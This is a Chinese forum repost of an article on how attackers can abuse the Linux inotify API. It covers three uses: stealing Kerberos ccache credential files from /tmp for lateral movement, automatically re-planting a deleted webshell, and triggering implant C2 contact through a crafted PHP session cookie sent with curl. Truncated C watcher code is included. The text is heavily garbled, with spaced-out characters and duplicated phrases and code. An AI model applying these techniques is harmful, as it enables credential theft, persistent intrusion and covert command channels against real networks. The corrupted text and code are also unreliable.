搜索

[14041] 2019-04-28_从攻击者角度重新思索inotityAPI的利用方式

文档创建者：s7ckTeam
浏览次数：3
最后更新：2025-01-18
2019-04-28_从攻击者角度重新思索inotityAPI的利用方式 从 攻 击 者 角 度 重 新 思 索 i n o t i t y   A P I 的 利 用 方 式 菲 哥 哥   F r e e B u f   2 0 1 9 - 0 4 - 2 8 我 们 以 往 在 看 我 们 以 往 在 看 ” i n o t i f y   A P I ” 的 使 用 的 时 候 ， 关 注 点 都 放 在 防 护 端 ， 比 如 在 入 侵 事 件 发 生 后 的 使 用 的 时 候 ， 关 注 点 都 放 在 防 护 端 ， 比 如 在 入 侵 事 件 发 生 后 I T 管 理 员 用 来 监 控 文 件 或 者 目 录 的 改 变 来 辅 助 排 查 入 侵 事 件 。 本 文 我 们 将 重 点 放 在 攻 击 方 ， 让 管 理 员 用 来 监 控 文 件 或 者 目 录 的 改 变 来 辅 助 排 查 入 侵 事 件 。 本 文 我 们 将 重 点 放 在 攻 击 方 ， 让 你 熟 悉 你 熟 悉 i n o t i f y   A P I 的 猥 琐 使 用 方 式 ： ） 的 猥 琐 使 用 方 式 ： ） 0 x 0 0   窃 取 窃 取   c c a c h e   文 件 文 件 在 企 业 网 络 中 ， l i n u x 和 w i n d o w s 系 统 共 存 ， 并 将 身 份 验 证 委 托 给 A D 是 很 常 见 的 场 景 。 在 这 种 类 型 的 环 境 中 。 当 攻 击 者 获 取 了 一 台 L i n u x 主 机 的 权 限 后 ， 通 常 会 查 看 / t m p 目 录 寻 找 凭 证 缓 存 文 件 ( c c a c h e ) ， 该 文 件 通 常 包 含 T G T ( T i c k e t - G r a n t i n g - T i c k e t ) ， 用 于 通 过 k e r b e r o s 协 议 进 行 用 户 到 服 务 的 认 证 。 该 文 件 的 命 名 方 式 如 下 “ k r b 5 c c _ % U I D % ” ， 可 以 直 接 被 基 于 i m p a c k e t 框 架 的 工 具 来 使 用 。 所 以 如 果 我 们 能 读 取 该 文 件 的 话 ， 就 能 够 使 用 p s e x e c . p y / s m b e x e c . p y 等 工 具 来 尝 试 对 内 网 其 他 机 器 进 行 命 令 执 行 ， 从 而 实 现 横 向 移 动 （ 如 果 我 们 足 够 幸 运 得 到 的 这 个 文 件 来 自 于 一 个 特 权 用 户 的 话 ， 甚 至 可 以 提 升 权 限 ） 。 当 我 们 确 实 知 道 该 网 络 是 使 用 k e r b e r o s 作 为 认 证 的 ， 但 是 现 在 不 能 够 得 到 该 文 件 （ 因 为 该 文 件 寿 命 很 短 ） 时 ， 我 们 可 以 设 置 一 个 I n o t i f y   w a t c h e r 来 监 控 / t m p 目 录 ， 当 该 文 件 创 建 时 ， 就 转 发 给 我 们 。 我 们 的 计 划 非 常 简 单 ， 如 上 所 述 ， 新 建 一 个 w a t c h e r 来 监 控 ／ t m p 目 录 ， 如 果 一 个 前 缀 是 ” k r b 5 c c _ ” 的 文 件 被 创 建 或 者 修 改 了 ， 就 发 送 给 我 们 ， 代 码 如 下 ： 我 们 可 以 在 监 控 到 该 文 件 创 建 后 ， 就 通 过 L D A P 搜 索 ， 来 检 测 当 前 用 户 的 权 限 。 0 x 0 1   重 新 放 置 重 新 放 置 w e b s h e l l 后 门 后 门 另 一 个 通 用 的 场 景 为 ， 当 我 们 放 置 的 w e b s h e l l 被 删 除 的 时 候 （ 由 于 管 理 员 发 现 ， C M S 更 新 等 原 因 ） ， 通 过 使 用 i n o t i f y 可 以 实 现 当 w e b s h e l l 被 删 除 的 时 候 再 创 建 一 个 ， 并 且 通 知 我 们 ， 代 码 如 下 其 他 的 想 法 ： 当 一 个 合 法 的 P H P 文 件 被 修 改 时 ， 也 同 时 放 置 我 们 的 后 门 进 去 。 或 者 ， 监 控 配 置 文 件 ， 检 测 数 据 库 链 接 账 号 是 否 改 变 。 0 x 0 2   基 于 基 于 P H P 会 话 名 触 发 恶 意 软 件 行 为 会 话 名 触 发 恶 意 软 件 行 为 我 们 可 以 通 过 创 建 一 个 存 储 P H P 会 话 的 命 名 文 件 作 为 隐 蔽 通 道 来 和 我 们 的 I m p l a n t s 进 行 命 令 通 信 。 例 如 下 面 的 例 子 ， 我 假 想 当 一 个 命 名 为 s e s s _ A L E A I A C T A E S T X X 的 文 件 创 建 时 ， 就 和 我 们 的 C C 进 行 通 信 。 通 过 一 个 简 单 的 C U R L 请 求 （ c u r l   h t t p : / / l o c a l h o s t / t e s t . p h p   - - c o o k i e   " P H P S E S S I D = A L E A I A C T A E S T x 1 " ） ， 我 们 就 可 以 触 发 这 个 动 作 。 * 参 考 来 源 ： 参 考 来 源 ： G i t h u b ， 菲 哥 哥 编 译 整 理 ， 转 载 请 注 明 来 自 ， 菲 哥 哥 编 译 整 理 ， 转 载 请 注 明 来 自   F r e e B u f . C O M 推 荐 阅 读 推 荐 阅 读 / /   E x a m p l e   b a s e d   o n   h t t p s : / / w w w . l y n x b e e . c o m / c - p r o g r a m - t o - m o n i t o r - a n d - n o t i f y - c h a n g e s - i n - a - d i r e c t o r y - f i l e - u s i n g - i n o t i f y / # d e f i n e   _ G N U _ S O U R C E # i n c l u d e   < s t d i o . h > # i n c l u d e   < s t d l i b . h > # i n c l u d e   < e r r n o . h > # i n c l u d e   < s y s / t y p e s . h > # i n c l u d e   < s y s / i n o t i f y . h > # i n c l u d e   < s y s / s t a t . h > # i n c l u d e   < l i m i t s . h > # i n c l u d e   < u n i s t d . h > # i n c l u d e   < f c n t l . h > # i n c l u d e   < c u r l / c u r l . h > # d e f i n e   M A X _ E V E N T S   i n t   m a i n ( i n t   a r g c ,   c h a r   * * a r g v ) {         i n t   l e n g t h ,   i =   0 ,   w d ;         i n t   f d ;           c h a r   b u f f e r [ B U F _ L E N ] ;         / / I n i t i a t e   i n o t i f y         i f   ( ( f d   =   i n o t i f y _ i n i t ( ) )   <   0 )   {                 p r i n t f ( " C o u l d   n o t   i n i t i a t e   i n o t i f y ! ! n " i f   ( ( w d   =   i n o t i f y _ a d d _ w a t c h ( f d ,   " / v a r / w w w / h t m l / m y _ s h i n n y _ w e b s h e l l . p h p " ,   I N _ D E L E T E   |   I N _ D E L E T E _ S E L F )   = =   - 1 )   {                 p r i n t f ( " C o u l d   n o t   a d d   a   w a t c h e r ! ! n " ) ;                 r e t u r n   - 2 ;         }         / / M a i n   l o o p           i n t   m a i n ( i n t   a r g c ,   c h a r   * * a r g v ) {         i n t   l e n g t h ,   i =   0 ,   w d ;         i n t   f d ;           c h a r   b u f f e r [ B U F _ L E N ] ;         / / I n i t i a t e   i n o t i f y         i f   ( ( f d   =   i n o t i f y _ i n i t ( ) )   <   0 )   {                 p r i n t f ( " C o u l d   n o t   i n i t i a t e   i n o t i f y ! ! n "
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理